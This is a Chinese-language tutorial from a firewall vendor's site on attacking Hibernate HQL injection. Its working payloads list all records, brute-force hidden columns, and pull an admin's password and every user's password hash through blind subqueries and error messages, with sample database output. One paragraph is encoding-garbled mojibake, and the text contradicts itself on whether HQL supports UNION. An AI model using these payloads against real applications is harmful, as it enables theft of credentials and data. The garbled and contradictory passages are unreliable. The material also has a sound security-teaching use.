English
 电子信箱
 加入收藏

  威盾防火墙 >> 新闻中心 >> 业界动态 >> Hibernate HQL注入攻击入门

 

Hibernate HQL注入攻击入门

威盾防火墙 2014-12-24

 
 SQL注入是一种大家非常熟悉的攻击方式,目前网络上有大量存在注入漏洞的DBMS(如MySQL,Oracle,MSSQL等)。但是,我在网络上找不到针对Hibernate查询语言的相关资源。因此本文总结了笔者在阅读文档和不断试验过程中的一些经验技巧。

  什么是Hibernate

  Hibernate是一种ORM框架,用来映射与tables相关的类定义(代码),并包含一些高级特性,包括缓存以及继承,通常在Java与.NET中使用(可参考NHibernate),但在Java生态系统中更受欢迎。

  查询语言

  首先,HQL查询并不直接发送给数据库,而是由hibernate引擎对查询进行解析并解释,然后将其转换为SQL。为什么这个细节重要呢?因为有两种错误消息来源,一种来自hibernate引擎,一种来自数据库。

  HQL的一大挑战是注射模式非常有限,其没有联合,没有函数来创建简单延迟,没有系统函数,没有可用的元数据表等。Hibernate查询语言没有那些在后台数据库中可能存在的功能特性。

  基础 ∫韵率纠胗美唇兄蟮牟馐浴P枰⒁獾氖牵褚馐淙胱苁窃诎俜趾胖洌�

  session.createQuery("from Book where title like '%" + userInput + "%' and published = true")

  列出所有实体

  下面从最基础的开始:列出所有books

from Bookwhere title like '%' or 1=1 or ''='%' and published = true

  访问隐藏的列

  尽管UNION操作符不可用,我们依然可以暴力破解隐藏的列。

    from Bookwhere title like '%' and promoCode like 'A%' or 1=2 and ''='%' and published = true

    from Bookwhere title like '%' and promoCode like 'B%' or 1=2 and ''='%' and published = true

  列出所有的列

  也许有读者可能会问,如果没有元数据表,怎么样才能发现隐藏的列/字段呢。我发现一个小窍门,不过只有Hibernate向客户端返回异常消息时才可用。如果列名不是Hibernate中实体定义的一部分,则其会触发异常:

 from Bookwhere title like '%' and DOESNT_EXIST=1 and ''='%' and published = true

  触发异常:

  org.hibernate.exception.SQLGrammarException: Column "DOESNT_EXIST" not found; SQL statement:select book0_.id as id21_, book0_.author as author21_, book0_.promoCode as promo3_21_, book0_.title as title21_, book0_.published as published21_ from Book book0_ where book0_.title like '%' or DOESNT_EXIST='%' and book0_.published=1 [42122-159]

  通过该异常,可以看到Hibernate查询的列表名。

  访问不同的表

  如前所述,HQL支持UNION查询,可以与其它表join,但只有在模型明确定义了关系后才可使用。我发现访问其它表的唯一方法是使用子查询。

  例如,以下查询会从表中选择一条与“User”实体关联的项。

 from Bookwhere title like '%' and (select substring(password,1,1) from User where username='admin') = 'a' or ''='%' and published = true

  之后就可以按常规的盲注模式进行盲注了。

  非盲注

  盲注比较费时间,如果异常消息能显示出来,就可以直接得到任意值了。为此,需要将某个选中的值转换为不同的类型。例如:

from Bookwhere title like '%11' and (select password from User where username='admin')=1 or ''='%' and published = true

  之后Hibernate就愉快地将异常消息返回了:

Data conversion error converting "3f3ff0cdbfa0d515f8e3751e4ed98abe"; SQL statement:select book0_.id as id18_, book0_.author as author18_, book0_.promotionCode as promotio3_18_, book0_.title as title18_, book0_.visible as visible18_ from Book book0_ where book0_.title like '%11' and (select user1_.password from User user1_ where user1_.username = 'admin')=1 or ''='%' and book0_.published=1 [22018-159]

  技巧:调用后台函数

  如前所述,Hibernate会在SELECT和WHERE语句中隐藏一些不可识别的列名,对函数也一样。调用数据库函数的标准过程是事先注册函数映射(HQL->SQL)(Java代码),但攻击者不需要关心兼容性。最终查询中的完整函数可以用来窃取数据(group_concat,array_agg, …)或对后台数据库进行简单的指纹识别。

  例如,如果数据库支持group_concat函数:

  from Bookwhere title like '%11' and (select cast(group_concat(password) as string) from User)=1 or ''='%' and published = true

  则异常触发为:

  Data conversion error converting"3f3ff0cdbfa0d515f8e3751e4ed98abe,79a41d71c31128ffab81ac8df2069f9c,b7fe6f6a1024db6e56027aeb558f9e68";SQL statement: select book0_.id as id18_, book0_.author as author18_, book0_.promotionCodeas promotio3_18_, book0_.title as title18_, book0_.visible as visible18_ from Book book0_ where book0_.title like '%11' and (select cast(group_concat(user1_.password) as varchar(255)) from User user1_)=1 or ''='%' and book0_.published=1 [22018-159]

  总结

  本文并不是讨论关于Hibernate的漏洞,而是利用HQL的技巧。如果有读者维护着使用Hibernate的Java web应用程序,可以运行FindBugs,利用这些规则识别与Hibernate API相关的潜在注入问题。

  本文至此就结束了,希望对各位读者有所帮助!

  参考

  HQL: The Hibernate Query Language : Hibernate 官方文档

  HQLmap:也许是目前能够进行自动HQL注入的唯一工具(暴力破解实体与列名)。

  SQL Injection Wiki : 多种DBMS平台进行SQL注入的有用参考资料。

  Pentestmonkey

  SQL Injection cheatsheets: SQL注入的另一不错的参考资料。


相关内容: 最新内容:
浅谈如何防范XSS攻击[2014-12-23]
浅谈sql注入式(SQL injection)攻击与防范[2014-12-23]
三种类型的DNS攻击以及应对方法[2014-12-22]
阻击黑客利用第三方软件漏洞发起的攻击[2014-12-20]
SQL注入攻击的网络分析及防御方法[2014-12-20]
SQL注入攻击防御深层思考[2014-12-20]
动态网站如何防黑,是否进行了SQL设置黑客就不能注入入侵[2014-12-24]
防黑秘籍:SQL注入漏洞攻防必杀技(1)[2014-12-24]
跨站式SQL注入技巧[2014-12-23]
sql数据库被挂马解决方案(实例)[2014-12-23]
浅谈Web网站八个安全风险防护[2014-12-23]
ASP、Request对象与SQL注入[2014-12-23]